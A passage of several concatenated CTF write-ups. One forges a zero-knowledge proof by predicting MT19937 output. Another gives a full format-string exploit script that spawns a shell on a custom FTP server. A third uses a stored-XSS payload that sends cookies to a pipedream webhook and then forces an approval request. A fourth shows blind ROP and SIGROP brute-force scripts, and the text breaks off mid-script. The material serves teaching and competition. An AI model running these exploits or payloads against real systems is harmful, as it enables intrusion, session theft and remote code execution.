```pythondef verify_knowledge(self, y :int): self.send_line(f"Please proove you know x s.t. y = g^x in Z_q where g={g:#x} p={p:#x} and y={y:#x} to authenticate yourself.") self.send_line("All numbers are implicitly base 16") # <-- [r] t = self.recv_value("Please provide [r]") self.l.debug(f"<-- [r] {t:x}") # --> c c = sample_random_element() self.send_value("Here is your challenge c", c) self.l.debug(f"--> c {c:x}") # <-- s s = self.recv_value("Please provide r + c·x mod p-1") self.l.debug(f"<-- s {s:x}") if verify(y, t, c, s): self.send_line(f"verification succeeded") return True self.send_line(f"verification failed") return False```
# Exploitation
Let's look at the algorithm:
1. server sends `y = g^x`2. client sends `t = g^r`, where `r` is arbitrary chosen by client3. server sends a random `c`4. client sends `s = r + c*x`5. server verifies that `g^s == t * y^c`
We can notice that with `t = y^(-c)` and `s = p - 1` the proof is valid:
```g^s == t * y^cg^(p - 1) == y^(-c) * y^c1 == 1```
So the scenario is straightforward:
1. Get 5 outputs of `sample_random_element()` function. It could be just five calls to `read <flag>`, then gathering all `c` values.
2. Recover the internal state of MT19937 generator, using any open-source utility (I've used [this](https://github.com/tna0y/Python-random-module-cracker/blob/master/randcrack/randcrack.py)).
3. Predict next 4095 output of MT19937 and get the next `c` value (the server will generate same value).
4. Call `read <flag>` again and retrieve `y`.
5. Calculate `t = y^(-c)` for given `y` and predicted `c`, then send `s = p - 1`.
6. Get the flag.
# Fix
The simplest fix is wasting bits of entropy, something like this:
```pythondef sample_random_element() -> int:
e = getrandbits(p.bit_length()-1) e = getrandbits(p.bit_length()-1) e = getrandbits(p.bit_length()-1) while e == 0: # 0 is not part of the group e = getrandbits(p.bit_length()-1)
return e```
Now the prediction becomes harder. And it's enough for attack-defense CTF. |
# Insider## Reverse Engineering
We'll start by running `file` to get an idea of the executable's architecture and platform. Note that it is a 64-bit linux executable.
```$ file ./chall./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8bdf868a7d36a356638d98d3299887ae81995e2e, stripped```
Running pwntools' `checksec` tool reveals that there is no stack canary in place - so if we found a buffer overflow present in the binary it'd be trivial to exploit. All other protections are in place so we'll likely need to leak a libc address in order to progress further.
```$ checksec ./chall[*] './chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./'```
When we run the binary, it appears to be a custom implementation of an FTP server. Inputting common commands tells us that we need to find a way to either provide valid credentials, or bypass the login functionality.```$ ./chall220 Blablah FTPUSER asdf530 Cannot find user name. Do you belong here. PASS asdf530 Need login. Login first. RETR asdf530 Need login. Login first. ```
Viewing the disassembly we can find the control-flow logic for the 'USER' command. Interestingly, it provides two possible paths to sign in. In the first path it calls some function on the input username in order to validate the login. In the second path it calls `getspnam` to check for a valid username.
Taking a look at that first mysterious function shows that it's just a wrapper for `strcmp`. Let's spin up GDB and find out what it's comparing our input to. We can just place a breakpoint just before the `strcmp` call.```$ gdb ./chall...pwndbg> b *(0x555555554000 + 0x00002a3f)Breakpoint 2 at 0x555555556a3fpwndbg> rStarting program: ./chall 220 Blablah FTP USER AAAA
Breakpoint 2, 0x0000555555556a3f in ?? ()... ⺠0x555555556a3f call strcmp@plt <strcmp@plt> s1: 0x55555555a225 ââ 0x41414141 /* 'AAAA' */ s2: 0x5555555580a0 ââ 0x6c4220642500293b /* ';)' */```
It's plain to see that the program considers the input `;)` to be a valid username for authentication purposes. Giving this as input confirms this theory.```$ ./chall220 Blablah FTPUSER ;)331 User name okay need password```
Repeating the above steps for the 'PASS' command gives us the same result. So we now have valid credentials for the target application.
``` ⺠0x555555556a3f call strcmp@plt <strcmp@plt> s1: 0x55555555a225 ââ 'PASSWORD' s2: 0x5555555580a0 ââ 0x6c4220642500293b /* ';)' */```
```$./challUSER ;)331 User name okay need password PASS ;)230 User logged in proceed ```
Finally, we want to see what commands are available to us. Looking at the strings in our disassembler gives us this information.``` 0x4008 USER 0x400d PASS 0x4012 RETR 0x4017 STOR 0x401c STOU 0x4021 APPE 0x4026 REST 0x402b RNFR 0x4030 RNTO 0x4035 ABOR 0x403a DELE 0x404f CDUP 0x4054 LIST 0x4059 NLST 0x405e SITE 0x4063 STAT 0x4068 HELP 0x406d NOOP 0x4072 TYPE 0x4077 PASV 0x407c PORT 0x4081 SYST 0x4086 QUIT 0x408b MDTM 0x4090 SIZE```
## Finding the Vulnerability
First thing I attempted was to actually just read the contents of `flag.txt` via the 'RETR' command. Sadly our user did not have permission to read the file. Though we do have a file read - maybe we can utilise that for something interesting (more on this later). ```$ ./chall 220 Blablah FTP USER ;)331 User name okay need password PASS ;)230 User logged in proceed RETR /flag.txt500 FTP error: access denyed. Check PermissionRETR /etc/passwd<censored>226 Transfer completed```
After a little more exploration, finding the actual vulnerability present in the executable was remarkably easy. Just by providing various inputs (long strings, format strings, etc) to the different commands - I found a format string vulnerability in the 'BKDR' command.```$ ./chall220 Blablah FTP USER ;) 331 User name okay need password PASS ;)230 User logged in proceed BKDR %p %p %p431136 BKDR 0x3 0xa0d (nil)```
Great, now we have an arbitrary write via the format string vulnerability we found. We only need two more things in order to build an exploit: * A libc address leak (to get symbol locations). * Something to overwrite (that'll give us code execution).
We could use this format string we found to leak an address in lib, but that would be boring. Instead, we can use the 'RETR' command to leak the entirety of the process map! That's definitely a fun way to leak process addresses. ```$ ./chall220 Blablah FTP USER ;) 331 User name okay need password PASS ;)230 User logged in proceed RETR /proc/self/maps5561bab83000-5561bab85000 r--p 00000000 fd:00 14944798 ./chall5561bab85000-5561bab87000 r-xp 00002000 fd:00 14944798 ./chall5561bab87000-5561bab88000 r--p 00004000 fd:00 14944798 ./chall5561bab88000-5561bab89000 r--p 00004000 fd:00 14944798 ./chall5561bab89000-5561bab8a000 rw-p 00005000 fd:00 14944798 ./chall5561bab8a000-5561bab8b000 rw-p 00000000 00:00 0 5561bab8b000-5561bab8e000 rw-p 00006000 fd:00 14944798 ./chall5561bcaa9000-5561bcaca000 rw-p 00000000 00:00 0 [heap]7f9b53c03000-7f9b53c05000 rw-p 00000000 00:00 0 7f9b53c05000-7f9b53c2b000 r--p 00000000 fd:00 14944691 ./libc.so.67f9b53c2b000-7f9b53d96000 r-xp 00026000 fd:00 14944691 ./libc.so.67f9b53d96000-7f9b53de2000 r--p 00191000 fd:00 14944691 ./libc.so.67f9b53de2000-7f9b53de5000 r--p 001dc000 fd:00 14944691 ./libc.so.67f9b53de5000-7f9b53de8000 rw-p 001df000 fd:00 14944691 ./libc.so.67f9b53de8000-7f9b53df3000 rw-p 00000000 00:00 0 7f9b53df3000-7f9b53df4000 r--p 00000000 fd:00 14944690 ./ld-linux-x86-64.so.27f9b53df4000-7f9b53e1c000 r-xp 00001000 fd:00 14944690 ./ld-linux-x86-64.so.27f9b53e1c000-7f9b53e26000 r--p 00029000 fd:00 14944690 ./ld-linux-x86-64.so.27f9b53e26000-7f9b53e28000 r--p 00032000 fd:00 14944690 ./ld-linux-x86-64.so.27f9b53e28000-7f9b53e2a000 rw-p 00034000 fd:00 14944690 ./ld-linux-x86-64.so.27ffcda8c6000-7ffcda8e7000 rw-p 00000000 00:00 0 [stack]7ffcda994000-7ffcda997000 r--p 00000000 00:00 0 [vvar]7ffcda997000-7ffcda998000 r-xp 00000000 00:00 0 [vdso]ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]226 Transfer completed ```
## Information Gathering
Now that we've found everything we need, we can do a little more information gathering to get the last thing we need for our exploit - the offset within the format string to the input we control on the stack (needed for our arbitrary write). Let's write a quick script to do just that.
```py#!/usr/bin/env python3
from pwn import *
r = process('./chall')
# sign in with valid credentialsr.writelineafter('220 Blablah FTP', b'user ;)')r.writelineafter('331 User name okay need password', b'pass ;)')
for i in range(2000): r.writeline(f'bkdr AAAAAAAA %{i}$p') r.readuntil('bkdr AAAAAAAA') out = r.readline() if b'4141' in out: print(i, out)
r.close()```
Running our script, we find that the address we control is located at an offset of 1031.```[+] Starting local process './chall': pid 470921031 b' 0x4141414141414141 \r\n[*] Stopped process './chall' (pid 47092)```
## Exploit Development
Now that we have everything we need, we can begin to write our exploit. There's a few things that we need to achieve, here's a list: - Sign into the program using the credentials we found. - Leak a libc address via the arbitrary file read. - Overwrite some address in order to achieve code execution.
Below are the code snippets for both signing in with the credentials we found, and for leaking a libc address.
```py# sign in with valid credentialsr.writelineafter('220 Blablah FTP', b'user ;)')r.writelineafter('331 User name okay need password', b'pass ;)')```
```py# leak addressesr.writelineafter('230 User logged in proceed', b'RETR /proc/self/maps')leak = r.readuntil('226 Transfer completed')libc_base = int(leak.decode('latin').split('\n')[10].split('-')[0], 16)log.info(f'libc_base = {hex(libc_base)}')
# set up libc elflibc = ELF('./libc.so.6')libc.address = libc_base```
So, one more question remains - how do we utilise our arbitrary write primitive in order to achieve code execution? Well, at the end of the programs input routine a call to `free` is made. If we write an address to `__free_hook` within libc we will be able to redirect program execution.
The simplest way to get a shell from this is to use a 'magic' gadget.```$ one_gadget libc.so.6 0xde78c execve("/bin/sh", r15, r12)constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xde78f execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xde792 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL```
The code snippet below overwrites `__free_hook` with our 'magic' gadget, giving us a shell when the call to `free` is made.```py# arbitrary write'''0xde78f execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL'''writes = { libc.sym.__free_hook: libc.address + 0xde78f}
# perform format string attackpayload = fmtstr_payload(1031, writes, numbwritten=12)r.writeline(b'bkdr ' + payload)```
Putting all these pieces together we get the following exploit.```py#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
r = process('./chall')
# sign in with valid credentialsr.writelineafter('220 Blablah FTP', b'user ;)')r.writelineafter('331 User name okay need password', b'pass ;)')
# leak addressesr.writelineafter('230 User logged in proceed', b'RETR /proc/self/maps')leak = r.readuntil('226 Transfer completed')libc_base = int(leak.decode('latin').split('\n')[10].split('-')[0], 16)log.info(f'libc_base = {hex(libc_base)}')
# set up libc elflibc = ELF('./libc.so.6')libc.address = libc_base
# arbitrary write'''0xde78f execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL'''writes = { libc.sym.__free_hook: libc.address + 0xde78f}
# perform format string attackpayload = fmtstr_payload(1031, writes, numbwritten=12)r.writeline(b'bkdr ' + payload)
r.clean()r.interactive()```
And finally, here's our exploit in action. It gives us an interactive shell that we can use to read the flag. In the actual challenge `/flag.txt` was not readable (as we discovered when we attempted to read it earlier). However, an SUID binary `get_flag` was present on the container, which read the flag for us.```$ ./solve.py[*] libc_base = 0x7ff0d87a1000[*] './libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] Switching to interactive mode$ lschall flag.txt get_flag ld-linux-x86-64.so.2 libc.so.6 solve.py``` |
### **TL;DR:**
We have been given a website ***Robâs Burgers*** where registered users can submit a burger request, the grillmaster checks each new request, by default all new requests are not approved. To prevent cookie theft, website devolopers use HttpOnly attribute for the account session cookie.Our goal is to approve our request as gillmaster since he is the only allowed user to perform such action.
The challenge demonstrate how only using the attribute HttpOnly is not a compleate solution to prevent cookie theft and to mitgate XSS attacks, where this mechanism should be complemented with other security measures.
### **Solution:**Looking around the website, create an account, login as the new created user and make some submissions with a generic XSS payload in the comments, we can see clearly that the website is vulnerable to stored XSS, since our submission are stored and each time it's opended the injected XSS is executed. While making a new submission we see the below message:> The grillmaster is evaluating your recipe. Please wait....
From the above message, we can note that our request is checked by the admin **grillmaster**And then it shows whether your submission is successful or not:> Submission successful!
After a successful submession, we can find our request under ***My Submissions*** tab, we see a ***Winner*** column with a red cross check mark, this is the case for all requests that we submit. Inside each submission we see the button ***Award Prize***, by clicking on the button we get the below error:> Access Denied: Only the grillmaster can choose a winning burger recipe!
So since the ***grillmaster*** is the only user that can aprove our request, the first thing that comes in mind is to steal the ***grillmaster*** cookies.
With that being sed, let's start by creating an account, login into it, create a new submission with no XSS, seting our webhook, and then create another submission with our crafted XSS payload to send us the grillmaster cookies, as shown below:
***Create an account, get our cookie, login and check if we have successfully logged in:***```[attacker@machine ~]$ curl -s -D - -o /dev/null -X POST https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/register -d 'username=xsser&password=xsser123&confirm_password=xsser123'[SNIPPED][attacker@machine ~]$ cookie=$(curl -s -D - -o /dev/null -X POST https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/login -d 'username=xsser&password=xsser123' |grep set-cookie | cut -d';' -f1| cut -d: -f2 | sed 's/\s\(.*\)/\1/')[attacker@machine ~]$ login=$(curl -X GET -H "Cookie: $cookie" https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/)[attacker@machine ~]$ if [[ $login == *'Login successful.'* ]]; then echo "Login successful."; else echo "Error in Login!"; fiLogin successful.[attacker@machine ~]$```
***Create a legitimate request:***```[attacker@machine ~]$ submit=$(curl -X POST -H "Cookie: $cookie" -H 'Content-Type: application/json' https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/submission -d '{"title":"Winner","recipe":["Ketchup"],"comments":"Hi Grillmaster, Please select me as a winner."}')[attacker@machine ~]$ if [[ $submit == *'Submission successful!'* ]]; then echo "Submission successful!"; else echo "Error: $submit"; fiSubmission successful![attacker@machine ~]$```
Set up a webhook, for example we can use Request Bin website.
***Create a malicious request to send grillmaster cookies to our webhook:***```[attacker@machine ~]$ echo "{\"title\":\"XSS1\",\"recipe\":[\"Ketchup\"],\"comments\":\"<script> document.location='https://[SNIPPED].pipedream.net/?c='+document.cookie+'&d='+document.domain;</script>\"}" > payload[attacker@machine ~]$ submit=$(curl -X POST -H "Cookie: $cookie" -H 'Content-Type: application/json' https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/submission -d @payload)[attacker@machine ~]$ if [[ $submit == *'Submission successful!'* ]]; then echo "Submission successful!"; else echo "Error: $submit"; fiSubmission successful![attacker@machine ~]$ ```
Checking our webhook shows that cookies are empty!!, let's take a look into our account's cookies, oh yeh our cookie ***session*** is set with the HttpOnly attribute, that's way the grillmaster cookies are empty, cause HttpOnly flag prevent us to read the user cookies using JavaScript.
The grillmaster's domain property is set with "***localhost***" which mean that grillmaster is checking our requests from the server itself (most likely a script running on the background), this can also be confirmed with the HTTP header: ***referer: http://localhost:1337/***, from referer header we can also noe that the port hosting the website in localhost is ***1337***.
***So let's craft a XSS payload to approve our too first request (the legitimate one) as grillmaster:***```[attacker@machine ~]$ echo "{\"title\":\"XSS\",\"recipe\":[\"Ketchup\"],\"comments\":\"<script> document.location='http://localhost:1337/submission/128/approve'; </script>\"}" > payload[attacker@machine ~]$ submit=$(curl -X POST -H "Cookie: $cookie" -H 'Content-Type: application/json' https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/submission -d @payload)[attacker@machine ~]$ if [[ $submit == *'Submission successful!'* ]]; then echo "Submission successful!"; else echo "Error: $submit"; fiSubmission successful![attacker@machine ~]$ ```
Great now we can see that our initial request is approved by grillmaster using our XSS payload, below the flag:
```[attacker@machine ~]$ flag=$(echo $(curl -X GET -H "Cookie: $cookie" https://uscg-web-grillmaster-w7vmh474ha-uc.a.run.app/submission/128) | sed 's/.*\(USCG{[a-zA-Z0-9_-]*}\).*/\1/g')[attacker@machine ~]$ echo "[+]Here is your flag: $flag"[+]Here is your flag: USCG{sp3c14l_5auc3_ftw}[attacker@machine ~]$ ```
***Note:***In the case of this challenge, to get ride of what ever domain grillmaster is using to access the website, you can simply append "/approve" to the documment.location as shown in the [CTF author's writeup](https://github.com/tj-oconnor/cyber-open-2022/tree/main/web/grillmaster). |
# Push
### Or How to do Black-Box Pwn without Rage-Quitting
The description for this challenge is as follows:
*Remember those Sarah McLaughlan commercials about the puppies? We do. We made a blind challenge to remind you about the heartbreak.*
*Author: v10l3nt*
This was one of the harder pwn challenges in the competition, and it required some reasonably advanced techniques, particularly if the pwner does not get the leaked offset quite right, which seems to be have been relatively common and happened to me. Most notably, it is an example of black box pwn, and also requires the use of the SIGROP technique.
As a side note, I used a lot of blind ROP techniques heavily inspired by the **Hacking Blind** paper by Bittau et al. The full paper is pretty interesting, and is available in full here https://ieeexplore.ieee.org/document/6956567.
**TL;DR Solution:** Note that the leaked instructions seem to contain the bytes necessary to do a straightforward SIGROP attack if you jump into the middle of them. Then calculate the offsets of the gadgets incorrectly due to the somewhat unclear nature of the leaks in the subsequently designed SIGROP payload, causing said payload to fail, and implement some additional blind ROP strategies in response. This includes locating print statements to use as a "stop gadget", finding the sequence of six pops at the end of the __libc_csu_init() function in order to fill arguments, and combining the "pop rdi" gadget with a print gadget in order to directly read the memory at the provided leaks, get the correct offsets, and implement the SIGROP attack.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/CyberOpen22/push## Gathering Information:
Since no binary or source code is provided for this challenge, the only real way to start gathering information is via dynamic analysis over the provided netcat connection. Basic interaction with the binary seems to indicate that we are being given the addresses of some helpful gadgets in what appears to be the code section of the binary, with PIE enabled. The gadgets that stand out the most are the address of /bin/sh itself, as well as the first two push instructions. At a certain point, the leaks seem to start degrading, albeit with some sort of apparent libc leak of an uncertain location, and while it might be assumed that the hex value following each instruction is its actual address, it is hard to be sure of that idea.```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/CyberOpen22$ nc 0.cloud.chals.io 21978---------------------------------------------------------------------------- ~ You stay the course, you hold the line you keep it all together ~ ~ You're the one true thing I know I can believe in ~ ~ You're all the things that I desire you save me, you complete me ~ ~ - Push, Sarah McLachlan. ~----------------------------------------------------------------------------<<< Push your way to /bin/sh at : 0x5636a0440050----------------------------------------------------------------------------~ Would you like another push (Y/*) >>> Y~ push 0x58585858; ret | 0x5636a043d1c0~ Would you like another push (Y/*) >>> aaaa~ Would you like another push (Y/*) >>> Y~ push 0x0f050f05; ret | 0x5636a043d1cf~ Would you like another push (Y/*) >>> Y~ push 0x58580f05; ret | 0x5636a043d1de~ Would you like another push (Y/*) >>> Y~ push 0x0f055858; ret | 0x5636a043d1ed~ Would you like another push (Y/*) >>> Y~ 4%XXXXÃ]UH4%????Ã]UH4%??XXÃ]UH4%XX??Ã]UHH?H?Y? | 0x7f014c0236c0~ Would you like another push (Y/*) >>> Y~ 4%????Ã]UH4%??XXÃ]UH4%XX??Ã]UHH?H?Y? | (nil)~ Would you like another push (Y/*) >>> Y~ 4%??XXÃ]UH4%XX??Ã]UHH?H?Y? | 0x7f014c0229a0~ Would you like another push (Y/*) >>> Y~ 4%XX??Ã]UHH?H?Y? | (nil)~ Would you like another push (Y/*) >>>```If we use a python terminal with pwntools' asm() and disasm() to both view the bytes comprising these instructions and reassemble subsections of those bytes, we can see that the "push 0x58585858; ret" instruction contains the much more useful "pop rax; ret" gadget, and the "push 0x0f050f05; ret" instruction contains a syscall gadget. One thing to note about the syscall gadget is that it does not neatly ret out, so care does need to be taken when crafting payloads. ```>>> from pwn import *>>> context.clear(arch='amd64')>>> asm('push 0x58585858; ret')b'hXXXX\xc3'>>> disasm (b'X\xc3')' 0: 58 pop rax\n 1: c3 ret'>>> asm('push 0x0f050f05; ret')b'h\x05\x0f\x05\x0f\xc3'>>> disasm(b'\x0f\x05\x0f\xc3')' 0: 0f 05 syscall \n 2: 0f .byte 0xf\n 3: c3 ret'```Based on the provided ROP gadgets, a buffer overflow in our input seems like the most likely vector of attack. Since this is a black box challenge, the main way to determine if such an overflow exists is by simply feeding the program larger and larger inputs until it crashes. Here is a simple script designed to do just that:```from pwn import *
target = remote('0.cloud.chals.io', 21978)
print(target.recvuntil(b'Would you like another push (Y/*) >>>'))i = 1while True: target.sendline(b'a' * i) print(i) result = (target.recvuntil(b'Would you like another push (Y/*) >>>', timeout=1)) if not result: print(i) break i += 1
target.interactive()```The results show that it gets up to a payload 16 characters in length (adding one to include the newline character) before crashing, which makes sense as a padding length since they tend to be numbers divisible by eight in 64-bit architectures.
## Attempting to SIGROP:
To start with, a pop rax; ret; gadget, a syscall gadget, and the address of /bin/sh can be used to do a SIGROP to get a shell, assuming that the overflow is long or unlimited. I won't go into too much detail about the attack here, but in summary, the idea is to use the pop rax and syscall gadgets to call the sigret instruction, which loads all of the registers with bytes from the stack. A sufficiently large overflow allows the attacker to fill those areas of the stack with the bytes of their choice to be loaded into specific, predictable registers, and execve('/bin/sh', 0, 0) can be called by filled the rip register with the syscall address, the rax register with 59, rdi with the /bin/sh address, and rsi and rdx with 0. Pwntools provides a SigreturnFrame functionality that makes it easy to append the appropriate stack values after the initial ROP chain, and if you would like to read more about exactly how a SIGROP works, I have a more detailed writeup on a white-box SIGROP challenge over here: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/MetaCTF21/Little_Boi
So, under the assumption that the addresses following the gadgets pointed to the start of those gadgets, I calculated the offsets of those gadgets and attempted to plug them in to a standard SIGROP exploit. This failed without really giving me any reason for why. This script looked like:```from pwn import *
target = remote('0.cloud.chals.io', 21978)
context.arch = "amd64"
frame = SigreturnFrame()
print(target.recvuntil(b'Push your way to /bin/sh at :'))
leak = (target.recvline())print(leak)binsh = int(leak, 16)print('binsh is at', hex(binsh))
payload = b'Y'target.send(payload)print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')
print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')print(target.recvuntil(b'~ push 0x58585858; ret |'))leak = (target.recvline())print(leak)
pop_rax = int(leak, 16) + 4print('pop rax ret at ', hex(pop_rax))
print(target.recvuntil(b'Would you like another push (Y/*) >>>'))target.sendline(b'Y')print(target.recvuntil(b'~ push 0x0f050f05; ret |'))leak = (target.recvline())print(leak)syscall = int(leak, 16) + 2
print('syscall at', hex(syscall))
padding = b'a' * 16
payload = padding + p64(pop_rax) + p64(0xf) + p64(syscall)
frame.rip = syscallframe.rdi = binsh frame.rax = 59frame.rsi = 0frame.rdx = 0
payload += bytes(frame)
target.sendline(payload)
target.interactive()```And the results simply ended in a crash. Without more information, it was very difficult to determine where I was going wrong. As a result, I opted for what some might call overkill and decided to implement some more fully black-box ROP strategies in order to eventually leak portions of the binary and figure out what is going on.
## Black Box ROP Strategies:
### Finding a Stop Gadget:
So, inspired by the Hacking Blind paper, I set up a script to scan for gadgets. I used the address leaks to determine a base for my scans on each attempt by nulling out the final three nibbles, and worked on finding some sort of a "stop gadget", which is basically any address that you can place in your ROPchain to determine that all of the previous gadgets in the chain returned out correctly. In this context, some sort of print is the cleanest option. Here is the brute forcing script:```from pwn import *
for i in range(0, 0x1000): #(82, 0x600): target = remote('0.cloud.chals.io', 21978)
context.arch = "amd64"
print(target.recvuntil(b'Push your way to /bin/sh at :'))
leak = (target.recvline()) print(leak) binsh = int(leak, 16) print('binsh is at', hex(binsh))
payload = b'Y' target.send(payload)
print(target.recvuntil(b'Would you like another push (Y/*) >>>')) target.sendline(b'Y')
print(target.recvuntil(b'Would you like another push (Y/*) >>>')) target.sendline(b'Y') print(target.recvuntil(b'~ push 0x58585858; ret |')) leak = (target.recvline()) print(leak)
pop_rax = int(leak, 16) + 4
print('pop rax ret at ', hex(pop_rax))
print(target.recvuntil(b'Would you like another push (Y/*) >>>')) target.sendline(b'Y') print(target.recvuntil(b'~ push 0x0f050f05; ret |')) leak = (target.recvline()) print(leak) syscall = int(leak, 16) + 2
print('syscall at', hex(syscall))
padding = b'a' * 16 test_address = pop_rax - 0x1c4 + i payload = padding + p64(test_address) print(target.recvuntil(b'(Y/*) >>>')) target.sendline(payload) result = target.recvall(timeout=1) print(result) if len(result) > 2: print('winner') print(hex(test_address)) print(i) target.close() break print('i is', i) target.close()```At the offset of i = 32, I got a hit that seems to just be printing out a portion of my input. I could make that work, but I decided that it might lead to issues scripting for additional gadgets.```b'----------------------------------------------------------------------------\n~ Would you like another push (Y/*) >>>'b' ~ Would you like another push (Y/*) >>>'b' ~ push 0x58585858; ret |'b' 0x5588cf2fb1c0\n'pop rax ret at 0x5588cf2fb1c4b'~ Would you like another push (Y/*) >>>'b' ~ push 0x0f050f05; ret |'b' 0x5588cf2fb1cf\n'syscall at 0x5588cf2fb1d1b'~ Would you like another push (Y/*) >>>'[+] Receiving all data: Done (16B)[*] Closed connection to 0.cloud.chals.io port 21978b' aaaaaaaa\x90\xb0/\xcf\x88U\n'winner0x5588cf2fb02032```As a result, I made a slight adjustment to specifically look for a print of one of the strings that normally gets outputted to the console (if b'You stay the course' in result:) and got a hit at i=144.```syscall at 0x563245fc31d1b'~ Would you like another push (Y/*) >>>'[+] Receiving all data: Done (629B)[*] Closed connection to 0.cloud.chals.io port 21978b" ----------------------------------------------------------------------------\n ~ You stay the course, you hold the line you keep it all together ~ \n ~ You're the one true thing I know I can believe in ~ \n ~ You're all the things that I desire you save me, you complete me ~ \n ~ - Push, Sarah McLachlan. ~ \n----------------------------------------------------------------------------\n<<< Push your way to /bin/sh at : 0x563245fc6050\n----------------------------------------------------------------------------\n~ Would you like another push (Y/*) >>> "winner0x563245fc3090144```### Finding the BROP gadget (and controlling rdi and rsi!)
Now that we have a stop gadget, we can start looking for pop gadgets! Pop gadgets (in amd64) work by popping the next 8 bytes from the stack into the specified register. As a result, we can detect the presence of a pop gadget by creating a ROPchain that looks like: candidate gadget + not an allocated address + stop gadget. In addition, in cases where more than one pop is chained together, followed by a ret (i.e. the common pop rsi; pop r15; ret gadget), you can simply add more non-allocated addresses between the candidate gadget and the stop gadget to find pop chains of the length.
One of the main possible issues with this approach is that it is relatively difficult to determine which pop gadgets correspond with which registers. Fortunately, __libc_csu_init() exists, and is present in most amd64 binaries unless they are compiled oddly. As a refresher, here is what the end of that function typically looks like.

While those pop gadgets don't necessarily look super useful, jumping into the middle of them provides control over the rdi and rsi registers, which in turn means control of the first and second arguments in function calls. Also, most binaries do not have any other examples of six pop gadgets in a row followed by a ret, so once that pattern is located, it is pretty safe to assume that you have hit the end of __libc_csu_init(), also known as the BROP or Blind ROP gadget.```gef†x/3i 0x00000000004011c1 0x4011c1 <__libc_csu_init+97>: pop rsi 0x4011c2 <__libc_csu_init+98>: pop r15 0x4011c4 <__libc_csu_init+100>: retgef†x/2i 0x00000000004011c3 0x4011c3 <__libc_csu_init+99>: pop rdi 0x4011c4 <__libc_csu_init+100>: ret```As a result, the end of the brute forcing script can be slightly adjusted and rerun as follows:```from pwn import *for i in range(0, 0x1000): target = remote('0.cloud.chals.io', 21978) ... #Same as before padding = b'a' * 16 stop_gadget = pop_rax - 0x1c4 + 144 test_address = pop_rax - 0x1c4 + i payload = padding + p64(test_address) + p64(1) * 6 + p64(stop_gadget) print(target.recvuntil(b'(Y/*) >>>')) target.sendline(payload) result = target.recvall(timeout=1) print(result) if b'You stay the course' in result: print('winner') print(hex(test_address)) print(i) target.close() break print('i is', i) target.close()```And the BROP gadget seems to start at 914 bytes from the start of the scanning space. It does take a little bit of time to get this far, and a few false positives are still hit; in these cases, you can just try the same offset again without the stop gadget at the end and see if the terminal output changes. If it doesn't, you have probably just accidentally replicated the existing stop gadget and should edit the for loop's starting value according to the values already checked.```b' ~ push 0x0f050f05; ret |'b' 0x55e92d54f1cf\n'syscall at 0x55e92d54f1d1b'~ Would you like another push (Y/*) >>>'[+] Receiving all data: Done (629B)[*] Closed connection to 0.cloud.chals.io port 21978b" ----------------------------------------------------------------------------\n ~ You stay the course, you hold the line you keep it all together ~ \n ~ You're the one true thing I know I can believe in ~ \n ~ You're all the things that I desire you save me, you complete me ~ \n ~ - Push, Sarah McLachlan. ~ \n----------------------------------------------------------------------------\n<<< Push your way to /bin/sh at : 0x55e92d552050\n----------------------------------------------------------------------------\n~ Would you like another push (Y/*) >>> "winner0x55e92d54f392914```Based on the BROP gadget starting at 914 bytes from the start of the search space, there should be a pop rsi ; r15 ; ret ; gadget at an offset of 921, and a pop rdi ; ret ; gadget at an offset of 923.
As an aside, I could potentially also use this location in order to perform a ret2csu attack and achieve control of rdx; however, this technique requires the location of a pointer to a function that will essentially exit out quickly without doing anything (typically a pointer to the _init function is available and works nicely), which I would have to do additional scanning to find. Fortunately, I ended up not needing control of the rdx gadget.
### A Gadget to Leak Parts of the Binary
My somewhat unique strategy at this stage was simply to place known, allocated memory in the rdi register (I went for the leaked, purported '/bin/sh' address), then start near a print statement and see if I can skip over the instruction that loads a value into rdi and end up directly at the function call to printf. You could also attempt to find plt entries, but this way got a hit much faster. I also opted to start at the earlier, small print statement that seemed to be mostly printing a portion of my own input back to me rather than the longer print I ultimately used as a stop gadget, since I suspect that this address is actually the start of a main() function or similar and it may take longer to get to the actual print. So, the relevant portions of the script look like this:```from pwn import *
for i in range(32, 50): target = remote('0.cloud.chals.io', 21978)
